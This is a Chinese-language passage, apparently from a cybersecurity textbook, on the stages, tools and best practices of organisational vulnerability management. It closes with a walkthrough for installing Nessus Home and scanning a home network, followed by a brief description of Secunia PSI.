为了应对这些挑战,组织可以部署计算机安全事件响应团队CSIRT)来处理对信息存储和传输的任何威胁(2)。该团队不仅会应对黑客事件,还会在有入侵尝试访问敏感信息时,向管理层报告并提供最佳的应对措施。除了这个团队,组织还可以采取最低权限策略来管理信息访问。该策略确保用户只能访问完成工作所需的信息,其他信息一律拒绝访问。减少访问敏感信息的人员数量是减少攻击途径的有效措施(2)。最后,在信息管理策略中,组织可以部署机制来检测并阻止恶意人员访问文件。这些机制可以在网络中部署,以确保恶意流量被拒绝进入,并且像窥探等可疑活动得到报告。它们还可以在终端设备上部署,以防止非法复制或读取数据。

在漏洞管理策略的这一阶段,存在一些挑战。首先,多年来信息的广度和深度不断增长,这使得信息变得难以处理,同时也难以控制谁可以访问它。有关潜在黑客攻击的有价值信息,如警报,已经超过了大多数 IT 部门的处理能力。每天 IT 部门接收到大量类似警报时,合法的警报常常被当作误报忽视,这并不令人意外。

曾经发生过一些组织在忽视来自网络监控工具的警报后,很快就被攻击的事件。IT 部门并不完全应该负责,因为这些工具每小时生成的海量新信息中,大部分都证明是误报。进出组织网络的流量也变得更加复杂。恶意软件正以非常规方式进行传播。向普通用户传达新漏洞信息也是一个挑战,尤其是对于那些不懂技术 IT 术语的用户。这些挑战共同影响了组织在面对潜在或已验证的黑客攻击时的响应时间和应对措施。

风险评估

这是漏洞管理策略中的第三步。在风险得以缓解之前,安全团队应对面临的漏洞进行深入分析。在理想的 IT 环境中,安全团队应该能够响应所有漏洞,因为它拥有足够的资源和时间。然而,现实中,缓解风险所需的资源存在许多限制因素。这就是为什么风险评估至关重要的原因。在这一步骤中,组织必须优先处理某些漏洞,并分配资源来减轻它们带来的风险。风险评估包括五个阶段。

范围

风险评估从范围识别开始。组织的安全团队预算有限,因此必须确定它将覆盖的领域和不覆盖的领域。它需要决定保护哪些内容,哪些内容的敏感性较高,以及需要保护到何种程度。范围需要仔细定义,因为它将决定从哪些地方进行内部和外部漏洞分析。

数据收集

在定义了范围后,需要收集关于现有政策和程序的数据,这些政策和程序旨在保护组织免受网络威胁。可以通过访谈、问卷和对人员(如用户和网络管理员)进行调查来完成此任务。所有在范围内的网络、应用程序和系统都应收集相关数据。这些数据可能包括:服务包、操作系统版本、运行的应用程序、位置、访问控制权限、入侵检测测试、防火墙测试、网络调查和端口扫描等。该信息将进一步揭示网络、系统和应用程序所面临的威胁类型。

政策和程序分析

组织设立政策和程序来管理其资源的使用,确保资源得到正当且安全的使用。因此,审查和分析现有的政策和程序非常重要。政策中可能存在不充分之处,也可能存在某些政策不切实际的情况。在分析政策和程序时,还应确定用户和管理员在执行方面的合规性。仅仅因为政策和程序被制定并传播,并不意味着它们得到了遵守。对于不合规的惩罚措施也应进行分析。最终,将会了解组织是否有足够的政策和程序来应对漏洞。

漏洞分析

在分析完政策和程序后,需要进行漏洞分析,以确定组织的暴露程度并查明是否有足够的保护措施来防止自身受到侵害。漏洞分析使用的是第四章中讨论过的侦察工具。这里使用的工具与黑客用来确定组织漏洞的工具相同,这样他们可以决定使用哪些漏洞进行攻击。通常,组织会聘请渗透测试人员来进行这个过程。漏洞分析中的最大问题是需要过滤掉大量的误报。因此,必须将不同的工具结合使用,才能得出一个可靠的组织现有漏洞清单。

渗透测试人员需要模拟真实攻击,并找出在攻击过程中受压并被攻破的系统和设备。最终,识别出的漏洞会根据它们对组织构成的风险进行分级。那些暴露程度和危害性较小的漏洞通常会被赋予较低的评分。在漏洞分级系统中有三个等级。轻微级别适用于那些需要大量资源才能利用,但对组织影响极小的漏洞。中等级别适用于那些潜在危害、可利用性和暴露程度适中的漏洞。高严重性级别适用于那些需要较少资源即可利用,但如果被利用,可能会对组织造成巨大损害的漏洞。

威胁分析

对组织的威胁是那些可能导致数据和服务篡改、破坏或中断的行为、代码或软件。威胁分析旨在评估组织可能面临的风险。识别出的威胁必须进行分析,以确定它们对组织的影响。威胁的评估方式与漏洞类似,但更多的是从动机和能力的角度进行衡量。例如,内部人员可能没有很强的动机恶意攻击组织,但由于对组织内部运作的了解,他们可能拥有较强的能力。因此,威胁的评分系统可能与漏洞分析中的评分系统有所不同。最终,识别出的威胁会被量化和分级。

可接受风险分析

可接受风险的分析是风险评估中的最后一步。在这里,首先评估现有的政策、程序和安全机制,以确定它们是否足够。如果它们不足够,就假设组织中存在漏洞。随后采取纠正措施,确保它们被更新和升级,直到足够为止。因此,IT 部门将确定保护措施应满足的推荐标准。任何未覆盖的部分都将被归类为可接受的风险。然而,随着时间的推移,这些风险可能会变得更有害,因此必须进行分析。只有在确定这些风险不会构成威胁后,风险评估才会结束。如果它们可能构成威胁,保护措施标准将更新以应对这些风险。

在此漏洞管理阶段,最大挑战是信息的不可获得性。一些组织没有记录其政策、程序、战略、流程和安全资产。因此,可能很难获得完成此阶段所需的信息。对于中小型公司来说,保持所有文档化可能更容易,但对于大公司来说,这是一个复杂的任务。大公司有多个业务线、部门、资源不足、缺乏规范化文档和职责重叠。唯一的解决方案是通过定期的清理活动来确保所有重要事项都被文档化,并且员工清楚地理解自己的职责。

漏洞评估

漏洞评估紧随风险评估之后,成为漏洞管理策略的一部分。这是因为这两个步骤密切相关。漏洞评估涉及识别易受攻击的资产。此阶段通过进行多次道德黑客攻击和渗透测试来进行。组织网络上的服务器、打印机、工作站、防火墙、路由器和交换机都将成为这些攻击的目标。目的是模拟潜在攻击者可能使用的相同工具和技术进行实际的黑客攻击场景。这些工具大部分已经在侦察和系统入侵章节中讨论过。本步骤的目标不仅仅是识别漏洞,还要快速且准确地识别漏洞。该步骤应生成一份关于组织面临的所有漏洞的全面报告。

在这个步骤中面临的挑战有很多。首先需要考虑的是组织应评估哪些内容。如果没有适当的资产清单,组织将无法识别应该关注哪些设备。此外,某些主机可能会被忽视,尽管它们可能是潜在攻击的关键目标。另一个挑战与使用的漏洞扫描器有关。一些扫描器提供错误的评估报告,导致组织走上错误的道路。当然,假阳性始终存在,但有些扫描工具的错误报告超出了可接受的百分比,并不断提出不存在的漏洞。这些可能导致组织在修复过程中浪费资源。干扰也是这个阶段的另一个挑战。随着所有道德黑客和渗透测试活动的进行,网络、服务器和工作站都遭受了影响。网络设备,如防火墙,也变得迟缓,尤其是在进行拒绝服务攻击时。

有时,强烈的攻击会导致服务器宕机,扰乱组织的核心功能。这可以通过在没有用户使用的情况下进行这些测试来解决,或者在评估核心工具时准备替代方案。使用工具本身也是一个挑战。像 Metasploit 这样的工具要求你对 Linux 有扎实的理解,并且具有使用命令行界面的经验。许多其他扫描工具也有类似的要求。很难找到既提供良好界面又能提供灵活定制脚本的扫描工具。最后,有时扫描工具没有很好的报告功能,这迫使渗透测试人员手动编写报告。他们的报告可能没有扫描工具直接生成的报告那么详细。

报告和修复跟踪

漏洞评估之后是报告和修复阶段。这个阶段有两个同样重要的任务:报告和修复。报告的任务帮助系统管理员了解组织当前的安全状态,以及仍然不安全的领域,并将这些问题指出给负责人。报告还为管理层提供了具体的信息,使他们能够将其与组织未来的方向联系起来。报告通常在修复之前进行,以便漏洞管理阶段汇总的所有信息可以无缝地传递到这一阶段。

修复开始了真正结束漏洞管理周期的过程。正如之前所讨论的,漏洞管理阶段在分析了威胁和漏洞并概述了可接受的风险后,提前结束了。修复通过提出对已识别的威胁和漏洞的解决方案来补充这一过程。所有受影响的主机、服务器和网络设备都被追踪,并制定必要的措施来消除漏洞,并防止其未来被利用。这是漏洞管理策略中最重要的任务,如果执行得当,漏洞管理将被认为是成功的。此任务中的活动包括识别缺失的补丁,并检查组织中所有系统的可用升级。同时,还会为扫描工具发现的漏洞提供解决方案。在这一阶段,还会识别多层次的安全防护措施,如防病毒程序和防火墙。如果这一阶段未能成功执行,那么整个漏洞管理过程将变得毫无意义。

如预期的那样,这一阶段聚集了许多挑战,因为这是所有漏洞的解决方案被确定的阶段。第一个挑战出现在报告不完整,并未包含组织面临的所有风险信息时。一份写得不好的报告可能导致修复措施不到位,从而使组织依然面临威胁。缺乏软件文档也可能在这一阶段带来挑战。软件的供应商或制造商通常会留下包含如何进行更新的说明文档。如果没有这些文档,更新定制软件可能会变得非常困难。软件供应商和组织之间的沟通不畅,也可能在系统修补时带来挑战。最后,修复过程可能会因最终用户缺乏合作而受到影响。修复可能会导致系统停机,这是最终用户最不希望经历的。

响应计划

响应计划可以被认为是最容易的,但仍然是漏洞管理策略中非常重要的一步。它之所以简单,是因为前五个步骤中的所有艰难工作都已经完成。它之所以重要,是因为如果没有执行响应计划,组织仍将暴露于威胁之中。在这一阶段,唯一重要的就是执行的速度。大规模的组织在执行时面临巨大的难题,因为需要修补和升级的设备数量庞大。

当微软宣布 MS03-023 漏洞并发布修补程序时,发生了一起事件。那些拥有短期响应计划的小型组织能够在公告发布后不久通过更新修补操作系统。然而,缺乏或拥有长期响应计划的大型组织却遭到了黑客的严重攻击。黑客在微软为其用户提供了有效修补程序后,仅仅 26 天,就发布了 MS Blaster 蠕虫来攻击那些未修补的操作系统。即便是大型公司,也有足够的时间完全修补他们的系统。然而,响应计划的缺乏或长期响应计划的使用导致一些公司成为了蠕虫的受害者。这个蠕虫使得感染的计算机网络变得迟缓或发生宕机。另一起最近发生的著名事件是 WannaCry 勒索病毒袭击。这是史上最大规模的勒索病毒攻击,源于一个据称从 NSA 窃取的漏洞,名为Eternal Blue(3)。这次攻击始于 5 月,但微软早在 3 月就发布了 Eternal Blue 漏洞的修补程序。然而,它并未为较老版本的 Windows(如 XP)发布修补程序(3)。从 3 月到首次发现攻击的那一天,企业有足够的时间来修补他们的系统。然而,由于响应计划不足,大多数公司在攻击开始时并未进行修补。如果攻击没有被遏制,更多的计算机可能会成为受害者。

这表明,响应计划中速度是多么重要。补丁应在发布后立即安装。

在这一阶段面临的挑战有很多,因为它涉及到最终用户及其机器的实际操作。第一个挑战是及时将适当的沟通传达给正确的人。当补丁发布时,黑客总是迅速寻找攻击那些未安装补丁的组织的方式。这就是为什么建立良好的沟通链条如此重要。另一个挑战是责任追究。组织需要知道应该追究谁未安装补丁。有时,用户可能因为取消安装而承担责任。在其他情况下,可能是 IT 团队没有及时启动修补过程。总之,应该始终有一个可以对未安装补丁负责的个人。最后一个挑战是重复劳动。这通常发生在大型组织中,那里有很多 IT 安全人员。他们可能会使用相同的响应计划,但由于沟通不畅,他们可能会相互重复工作而进展缓慢。

漏洞管理工具

可用的漏洞管理工具有很多,为了简化,本节将根据工具使用的阶段来讨论这些工具。因此,每个阶段将讨论其相关工具,并给出它们的优缺点。值得注意的是,并非所有讨论的工具都直接处理漏洞本身,但它们对整个过程的贡献非常重要。

资产清单工具

资产清单阶段旨在记录一个组织所拥有的计算资产,以便在执行更新时便于跟踪。以下是可以在此阶段使用的一些工具。

Peregrine 工具

Peregrine 是一家软件开发公司,2005 年被惠普(HP)收购。它发布了三款最常用的资产清单工具,其中之一是资产中心。它是一个专门为满足软件资产需求而精细调校的资产管理工具。该工具允许组织存储其软件的许可信息。这是一项许多其他资产清单系统遗漏的重要信息。该工具只能记录组织中的设备和软件信息。然而,有时需要一种能够记录网络详情的工具。Peregrine 创建了其他专门设计用于记录网络资产的工具。这些工具包括网络发现工具和桌面资产清单工具,通常一起使用。它们保持一个更新的数据库,记录所有连接到组织网络的计算机和设备。它们还可以提供有关网络、其物理拓扑、连接计算机的配置以及它们的许可信息的详细信息。所有这些工具通过一个界面提供给组织。Peregrine 工具具有可扩展性,易于集成,并且足够灵活,能够应对网络中的变化。它们的缺点在于当网络中存在不受控的桌面客户端时,工具通常会忽略它们。

LANDesk 管理套件

LANDesk 管理套件是一款强大的资产管理工具,广泛用于网络管理(4)。该工具可以提供资产管理、软件分发、许可证监控以及对连接到组织网络的设备进行远程控制的功能(4)。该工具具备自动化的网络发现系统,能够识别连接到网络的新设备。它会检查这些设备是否已经存在于数据库中,若从未添加过,则会将其新增到系统中。该工具还利用在客户端后台运行的库存扫描,能获取特定于客户端的信息,如许可证信息(4)。该工具具有高度的可扩展性,并为用户提供便携的后端数据库。该工具的缺点是无法与指挥中心使用的其他工具集成,同时也面临着定位流氓桌面的问题。

StillSecure

这是 Latis Networks 公司创建的一套工具,为用户提供网络发现功能(5)。该套件包含三种针对漏洞管理定制的工具——即桌面 VAM、服务器 VAM 和远程 VAM。这三款工具以自动化方式运行,它们会扫描并提供有关网络的全面报告。扫描时间还可以根据用户的日程手动设置,以避免扫描过程可能带来的网络迟缓问题。这些工具将记录网络中的所有主机,并列出它们的配置。它们还会显示应在每个主机上运行的相关漏洞扫描。因为该套件是专门为漏洞评估和管理而设计的。

该工具的主要优点是,它可以在不需要安装客户端版本的情况下扫描并记录网络中的主机,类似之前讨论过的工具。套件的远程 VAM 可以用来发现位于内部网络边缘的设备,且无需进入网络内部。这一点相比于之前讨论的其他资产管理工具是一个重要的优势。该套件提供了通过不同业务单元或通过普通系统管理员的排序方法来对资产进行分组的选项。该套件的主要缺点是,由于它不在主机上安装客户端,因此无法收集关于主机的深入信息。资产管理工具的主要目的是捕捉组织中设备的所有相关信息,而该套件有时可能无法提供这种数据质量。

Foundstone 的企业版

Foundstone 的 Enterprise 是由 Foundscan Engine 开发的一款工具,使用 IP 地址进行网络发现。该工具通常由网络管理员设置,以扫描分配了特定 IP 地址范围的主机。该工具可以设置在组织认为最合适的时间运行。该工具具有企业网页界面,在其中列出了它在网络上找到的主机和服务。该工具还被认为可以智能扫描主机可能存在的漏洞,并定期向网络管理员提供报告。然而,该工具被认为不足以作为理想的资产清单工具,因为它仅收集与漏洞扫描相关的数据:

信息管理工具

信息管理阶段涉及组织中信息流的控制。这包括将有关入侵和入侵者的信息传递给合适的人员,以便他们采取推荐的行动。有许多工具提供帮助组织传播信息的解决方案。它们使用简单的沟通方式,如电子邮件、网站和分发列表。当然,所有这些都根据组织的安全事件政策进行定制。在安全事件发生时,必须首先通知的人员是事件响应团队的成员。这是因为他们的行动速度可能决定安全漏洞对组织的影响。大多数可以用来联系他们的工具都是基于网页的。其中一个工具是 CERT 协调中心。它有助于创建一个在线指挥中心,通过电子邮件定期向选定的人员发出警报和通知(6)。另一个工具是 Security Focus,它使用与 CERT 工具类似的策略(7)。它创建邮件列表,在安全事件报告时通知事件响应团队。

Symantec Security Response 也是另一种信息管理工具(8)。这个工具有许多优点,其中之一是它能够使事件响应团队保持信息更新。Symantec 在全球范围内以其深入的互联网安全威胁报告而闻名。这些年度出版物非常适合了解网络犯罪分子如何随着时间的发展而演变。报告还提供了有意义的攻击统计数据。这使得事件响应团队可以根据可观察到的趋势充分准备应对某些类型的攻击。除了这份出版物之外,该工具还提供了 Shadow Data Report、Symantec Intelligence Report 和安全白皮书(8)。该工具还为一些组织必须防范的攻击类型提供了威胁聚焦。此外,它还拥有一个名为DeepSight的智能系统,提供全天候 24/7 的报告(8)。IT 还提供了一个 A 到 Z 的风险和威胁列表以及相应的对策。最后,该工具为用户提供了链接到 Symantec AntiVirus,用户可以利用它来清除恶意软件并处理感染的系统。这个工具在信息管理方面非常全面,因此值得高度推荐。

这些工具是互联网上最常用的工具之一。所有这些工具最显著的相似之处是通过邮件列表使用电子邮件警报。可以设置邮件列表,以便事件响应者首先接收到警报,并且一旦他们确认了安全事件,组织中的其他用户可以被通知。组织安全政策有时是这些在线工具的良好补充。在攻击发生时,地方安全政策可以指导用户应该做什么以及应该联系谁。

风险评估工具

大多数风险评估工具都是内部开发的,因为并不是所有组织在同一时间面临相同的风险。风险管理中存在许多变化,这就是为什么仅使用一种软件作为通用工具来识别和评估组织所面临的风险可能会很棘手的原因。组织使用的内部工具是由系统和网络管理员开发的检查表。检查表应该包含关于组织所暴露的潜在漏洞和威胁的问题。这些问题将帮助组织定义其网络中已识别漏洞的风险级别。以下是可以放在检查表上的问题:

  • 识别出的漏洞如何影响组织?

  • 哪些商业资源面临被破坏的风险?

  • 是否存在远程利用的风险?

  • 攻击的后果是什么?

  • 攻击是否依赖于工具或脚本?

  • 如何减轻攻击的影响?

为了补充检查清单,组织可以采购执行自动化风险分析的商业工具。其中一种工具是 ArcSight Enterprise Security Manager (ESM)。它是一款威胁检测和合规性管理工具,用于检测漏洞和缓解网络安全威胁。该工具从网络及其连接的主机收集大量安全相关数据。通过记录的事件数据,它可以实时与数据库进行关联,判断网络上是否存在攻击或可疑行为。它能够每秒最多关联 75,000 个事件。这种关联还可以用来确保所有事件遵循组织的内部规则。它还建议缓解和解决漏洞的方法。

漏洞评估工具

由于组织面临的网络安全威胁数量增加,漏洞扫描工具的数量也相应增长。组织可以选择许多免费的或付费的工具。这些工具中的大多数在第四章《侦察》和第五章《系统妥协》中都有讨论。最常用的漏洞扫描工具是 Nessus 和 NMap(后者通过其脚本功能可以作为基础的漏洞工具使用)。NMap 非常灵活,可以配置以满足用户的特定扫描需求。它能够快速绘制新网络的地图,并提供关于网络上连接的资产及其漏洞的信息。

Nessus 可以看作是 Nmap 扫描器的升级版。这是因为 Nessus 可以对连接到网络的主机进行深入的漏洞评估(9)。该扫描器能够确定主机的操作系统版本、缺失的补丁以及可以针对系统利用的相关漏洞。该工具还会根据威胁等级对漏洞进行排序。Nessus 还具有高度的灵活性,用户可以编写自己的攻击脚本,并将其应用于网络上各种主机(9)。该工具拥有自己的脚本语言,以便于这一操作。这是一个很棒的功能,因为正如我们在讨论此步骤面临的挑战时所提到的,许多扫描器未能在良好的界面和高度灵活性之间找到完美的平衡。还有其他相关工具也可以用于扫描,如 Harris STAT、Foundstone 的 Foundscan 和 Zenmap。然而,它们的功能与 Nessus 和 Nmap 类似。

报告和修复跟踪工具

漏洞管理策略的这一步骤使得事件响应者能够提出适当的方式来减轻组织面临的风险和漏洞。他们需要能够告知当前组织安全状态并跟踪所有修复工作的工具。有许多报告工具,组织通常偏好那些具有深入报告功能且能够为多个受众定制的工具。组织中有许多利益相关者,并非所有人都能理解技术术语。同时,IT 部门需要工具,能够提供不做任何修改的技术细节。因此,受众的区分非常重要。

具有此类功能的两个工具是 Foundstone 的 Enterprise Manager 和 Latis Reporting 工具。它们具有相似的功能:都提供可定制的报告功能,能够根据用户和其他利益相关者的不同需求进行定制。Foundstone 的 Enterprise Manager 提供可定制的仪表盘,用户可以通过该仪表盘获取长期报告和针对特定人员、操作系统、服务和地区定制的报告。不同地区会影响报告的语言,这对于跨国公司特别有用。这些工具生成的报告将显示漏洞的详细信息及其发生频率。

这两个工具还提供了修复跟踪功能。Foundstone 工具具有一个选项,可以将漏洞分配给特定的系统管理员或 IT 员工(10)。然后,它可以通过工单跟踪修复过程。Latis 工具也提供了将特定漏洞分配给负责修复的人员的选项。它还会跟踪分配人员的进展。完成后,Latis 工具会执行验证扫描,以确认漏洞是否已解决。修复跟踪通常旨在确保某人对解决特定漏洞负责,直到问题解决为止。

响应规划工具

响应规划是大多数解决、消除、清理和修复活动发生的步骤。补丁和系统升级也发生在此阶段。商业工具在此步骤中的应用不多。通常,响应规划是通过文档来完成的。文档帮助系统和网络管理员在处理他们不熟悉的系统时进行补丁和更新操作。它也帮助在换班时,新的员工接手他们之前从未使用过的系统。最后,文档有助于在紧急情况下避免跳过某些步骤或犯错误。

漏洞管理的实施

漏洞管理的实施应按照既定策略进行。实施过程从创建资产清单开始。资产清单作为网络中所有主机的登记表,并记录其中的软件。在这一阶段,组织需要指派某位 IT 工作人员负责保持该清单的更新。资产清单至少应展示组织拥有的硬件和软件资产以及相关的许可证详细信息。作为可选项,清单还应显示这些资产中存在的漏洞。当组织需要通过修复所有资产来应对漏洞时,一个更新的清单将非常有用。前述工具能够有效处理在此阶段需要执行的任务。

在资产清单实施之后,组织应关注信息管理。目标应是建立一种有效的方式,将关于漏洞和网络安全事件的信息尽可能快速地传达给相关人员。将安全事件的第一手信息传送给正确人员的对象是计算机安全事件响应团队。之前提到的可以促进此阶段的工具需要创建邮件列表。事件响应团队成员应加入该邮件列表,以接收来自组织安全监控工具的警报。

应该创建独立的邮件列表,以便组织的其他利益相关者在信息确认后能够访问这些信息。其他利益相关者应采取的适当行动也应通过邮件列表进行传达。推荐用于此步骤的工具来自赛门铁克,它为组织中的用户定期发布信息,以帮助他们了解全球网络安全事件。总的来说,在此阶段结束时,应该为事件响应人员和其他用户建立一个详细的沟通渠道,以便在系统发生安全漏洞时进行及时沟通。

在实施邮件列表进行信息管理之后,应进行风险评估。风险评估应按照漏洞管理策略中描述的方式实施。它应该从确定范围开始。接着应收集有关组织一直在使用的现有政策和程序的数据。还应收集有关其合规性的数据。收集完数据后,应分析现有的政策和程序,以确定它们是否足以保障组织的安全。之后,应进行漏洞和威胁分析。组织面临的威胁和漏洞应根据其严重程度进行分类。最后,组织应定义其可以面对而不会遭受严重后果的可接受风险。

风险评估应紧随漏洞评估。漏洞评估步骤,不要与风险管理步骤中的漏洞分析混淆,旨在识别易受攻击的资产。因此,网络中的所有主机都应进行道德黑客攻击或进行渗透测试,以确定它们是否易受攻击。该过程应彻底而准确。在此步骤中未识别出的任何易受攻击的资产可能是黑客利用的弱点。因此,应使用假定黑客将使用的工具,并充分利用其功能。

漏洞评估步骤应紧随报告和修复跟踪。必须向组织的利益相关者报告所有确定的风险和漏洞。报告应全面涵盖组织拥有的所有硬件和软件资产。报告还应根据各种受众的需求进行细化。有些受众可能不理解漏洞的技术方面,因此他们应该得到报告的简化版本。报告后应进行修复跟踪。确定组织面临的风险和漏洞后,应指定适当的人员来解决这些问题。他们应被指定负责确保所有风险和漏洞得到完全解决。应有一种详尽的方式来跟踪已识别威胁解决进展。我们之前看过的工具具有这些功能,并可以确保成功实施此步骤。

最终的实施应是响应规划。此阶段,组织应概述应对漏洞的行动并付诸实施。此步骤将验证前五个步骤是否执行正确。在响应规划中,组织应提出补丁、更新或升级已识别出存在风险或漏洞的系统的方法。应遵循在风险和漏洞评估步骤中确定的严重性等级。此步骤应借助资产清单来实施,以便组织确认所有硬件和软件资产都得到了处理。此步骤不应花费太长时间,因为黑客总是会利用最近发现的漏洞进行攻击。响应规划阶段必须在监控系统向事件响应人员发送警报时完成。

漏洞管理的最佳实践

即便拥有最好的工具,执行才是漏洞管理的关键。因此,实施部分中已确定的所有行动必须无懈可击地执行。每个漏洞管理战略实施步骤都有一套最佳实践。首先,在资产清单方面,组织应确立一个单一的权责点。应指定一个负责人,如果清单未更新或存在不一致时可以追究责任。另一个最佳实践是鼓励在数据录入时使用一致的缩写。如果缩写不断变化,其他查看清单的人可能会感到困惑。资产清单还应至少每年验证一次。最后,建议将资产管理系统变更视同其他管理流程变更一样小心处理。

在信息管理阶段,组织能够取得的最大成就就是迅速有效地将信息传播给相关受众。做到这一点的最佳方法之一是让员工自愿订阅邮件列表。另一个方法是让事件响应团队在网站上发布自己的报告、统计数据和建议,供组织用户查看。组织还应定期召开会议,与用户讨论新的漏洞、病毒变种、恶意活动和社会工程学技术。最好是让所有用户都了解他们可能面临的威胁,以及如何有效应对。这比通过邮件列表告诉他们去做他们不懂的技术事情更有影响力。最后,组织应制定一个标准化的模板,规定所有与安全相关的邮件格式。它应该具有与用户常用的普通邮件格式不同的一致外观。

风险评估步骤是漏洞管理生命周期中最需要手动操作的阶段之一。这是因为这里没有很多商业工具可以使用。其中一个最佳实践是记录检查新漏洞出现的方式。这将节省大量时间,因为在减轻漏洞时,适当的对策已经知晓。另一个最佳实践是将风险评级发布给公众,或至少发布给组织用户。这些信息可能会传播,并最终传达给一个会发现它更有用的人。还建议确保在这个阶段资产清单既可用又更新,以便在风险分析期间可以检查网络中的所有主机。每个组织的事件响应团队还应该为组织部署的每个工具发布一个矩阵。最后,组织应确保有严格的变更管理流程,以确保新员工了解组织的安全状况以及保护其的机制。

漏洞评估步骤与风险评估步骤并没有太大不同,因此两者可能借鉴彼此的最佳实践(我们之前讨论过)。除了在风险评估中讨论的内容外,很好的做法是在广泛测试网络之前征得许可。这是因为我们看到这一步可能会给组织带来严重的中断,并可能对主机造成实际损害。因此,需要提前进行大量的计划。另一个最佳实践是为特定环境创建自定义策略,即组织主机的不同操作系统。最后,组织应确定最适合其主机的扫描工具。有些方法可能过度扫描并深入到不必要的深度。其他工具则扫描不够深入,无法发现网络中的漏洞。

在报告和修复跟踪阶段可能会使用一些技巧。其中之一是确保有可靠的工具向资产所有者发送关于他们存在的漏洞以及是否已完全修复的报告。这减少了从发现机器包含漏洞的用户那里收到的不必要电子邮件的数量。IT 人员还应与管理层和其他利益相关者会面,了解他们想要看到的报告类型。技术水平也应达成一致。事件响应团队还应与管理层就修复时间表和所需资源达成一致,并公布不修复的后果。最后,修复应按严重性的层次进行。因此,应首先处理最具风险的漏洞。

响应规划步骤是整个漏洞管理过程的总结。此步骤是执行针对不同漏洞响应的地方。有几项最佳实践可以在此步骤中使用。其中之一是确保响应计划被文档化,并且为事件响应团队和普通用户所熟知。同时,关于漏洞修复进展的快速且准确的信息流应传递给普通用户。由于在机器更新或安装补丁后可能会出现失败,因此应提供联系信息,方便终端用户在此类情况发生时联系 IT 团队。最后,应为事件响应团队提供便捷的网络访问,以便他们能更快速地实施修复。

使用 Nessus 实施漏洞管理

Nessus 是 Tenable Network Security 公司开发的最受欢迎的商业网络漏洞扫描工具之一。它旨在自动化已知漏洞的测试和发现,以防黑客在其漏洞被利用之前进行攻击。它还会在扫描过程中为识别到的漏洞提供解决方案。Nessus 漏洞扫描产品是基于年度订阅的产品。幸运的是,家庭版是免费的,并且它还提供了许多工具,帮助探索你的家庭网络。

Nessus 有无数的功能,且相当复杂。我们将下载免费的家庭版,仅涵盖其设置与配置的基础知识,以及如何创建扫描和阅读报告。你可以从 Tenable 官网获取详细的安装和用户手册。

从 Nessus 的下载页面(www.tenable.com/products/nessus/select-your-operating-system)下载适合你操作系统的 Nessus 最新版。在我们的示例中,我下载了适用于 64 位 Microsoft Windows 版本的Nessus-7.0.0-x64.msi。只需双击下载的可执行安装文件,并按照提示完成安装。

Nessus 使用网页界面进行设置、扫描和查看报告。安装完成后,Nessus 将在你的网页浏览器中加载一个页面,进行初步设置,如图 2所示。点击通过 SSL 连接图标,你的浏览器会显示一个错误,提示连接不受信任或不安全。首次连接时,接受证书以继续配置。接下来的屏幕(图 3)将是创建 Nessus 服务器用户账户。创建你的 Nessus 系统管理员账户,设定一个你将来每次登录时使用的用户名和密码,然后点击继续按钮。在第三个屏幕(图 4),从下拉菜单中选择 Home、Professional 或 Manager。

图 2 - 账户创建

然后,打开一个新标签页,访问 www.tenable.com/products/nessus-home 注册激活码,如图 2所示:

图 3 - 注册与插件安装

激活码将发送到您的电子邮件地址。将激活码输入到激活码框中。注册后,Nessus 将开始从 Tenable 下载插件(图 2-2)。根据您的连接速度,这可能需要几分钟时间。

一旦插件下载并编译完成,Nessus 网页界面将初始化,Nessus 服务器将启动,如图 3所示:

图 4 - Nessus 网页界面

要创建扫描,点击右上角的“新建扫描”图标。扫描模板页面将出现,如图 5所示:

图 5 - 扫描模板

你可以选择扫描模板页面上列出的任何模板。我们将选择“基础网络扫描”进行测试。基础网络扫描执行的是全面的系统扫描,适用于任何主机。例如,你可以使用此模板对组织的内部系统执行漏洞扫描。当你选择“基础网络扫描”时,设置页面将启动,如图 6所示。

将你的扫描命名为“TEST”并添加描述。输入家庭网络上的 IP 扫描详情。请记住,Nessus Home 允许每个扫描器扫描最多 16 个 IP 地址。保存配置后,在下一个屏幕上点击播放按钮开始扫描。根据网络上设备的数量,扫描可能需要一段时间。

图 6 - 扫描配置

一旦 Nessus 完成扫描,点击相关的扫描结果;你将看到每个设备的彩色编码图表。图表中的每种颜色表示不同的结果,从信息到漏洞的危险性,从低风险到严重风险。在图 7中,我们有三个主机(192.168.0.25、192.168.0.1 和 192.168.0.11):

图 7 - 测试结果

Nessus 漏洞扫描后,结果将显示如图 8所示。

点击任何 IP 地址以显示所选设备上的漏洞,如图 9所示。我选择了 192.168.0.1 来查看漏洞扫描的详细信息:

图 8 - 漏洞

当选择一个特定的漏洞时,它会显示更多关于该特定漏洞的详细信息。我的 UPnP 互联网网关设备(IGD)协议检测漏洞显示在图 9中。它提供了许多关于相关细节的信息,如描述、解决方案、插件详情、风险信息和漏洞信息:

图 9 - 漏洞详情

最后,扫描结果可以以几种不同的格式保存用于报告目的。点击右上角的导出选项卡,下拉菜单中有 Nessus、PDF、HTML、CSV 和 Nessus DB 格式:

图 10 - 导出结果

在我的情况下,我选择了 PDF 格式并保存了漏洞扫描结果。如图 11所示,报告根据扫描的 IP 地址提供了详细信息。Nessus 扫描报告展示了关于网络上检测到的漏洞的大量数据。这份报告对安全团队特别有用。他们可以利用这份报告来识别网络中的漏洞和受影响的主机,并采取必要的措施来减轻漏洞:

图 11 - PDF 格式的结果

Nessus 在一个工具中提供了许多功能和能力。与其他网络扫描工具相比,它相当用户友好,易于更新插件,并为高级管理人员提供了良好的报告工具。使用这个工具并查看漏洞将帮助您了解您的系统,并教会您如何保护它们。几乎每天都会发布新的漏洞,为了保持系统始终安全,您必须定期扫描它们。

请记住,在黑客利用漏洞之前找到漏洞是保持系统安全的重要第一步。

Flexera(Secunia)个人软件检测器

Secunia 个人软件检测器PSI)是一个免费的安全工具,用于识别非 Microsoft(第三方)系统中的漏洞。

PSI 扫描您 PC 上安装的软件,并识别需要安全更新的程序,以保护您的 PC 免受网络犯罪分子的侵害。然后,它将帮助您获取必要的软件安全更新以保持安全。为了更轻松,PSI 甚至会自动更新您的未安全程序的更新

这是一个免费的漏洞评估工具,可与任何防病毒软件配合使用。它不断监视您的系统以寻找未安全的软件安装,并在安装未安全的应用程序时通知您,甚至在更新可用时为您提供详细的更新应用程序的说明。

要下载 Secunia PSI,只需访问他们的网站www.flexera.com/enterprise/products/software-vulnerability-management/personal-software-inspector/

安装软件后,它将检查你的计算机并给出一个百分比得分:

如果你的得分不到 100%,你需要修补其他缺失的更新,直到所有软件都更新完毕:

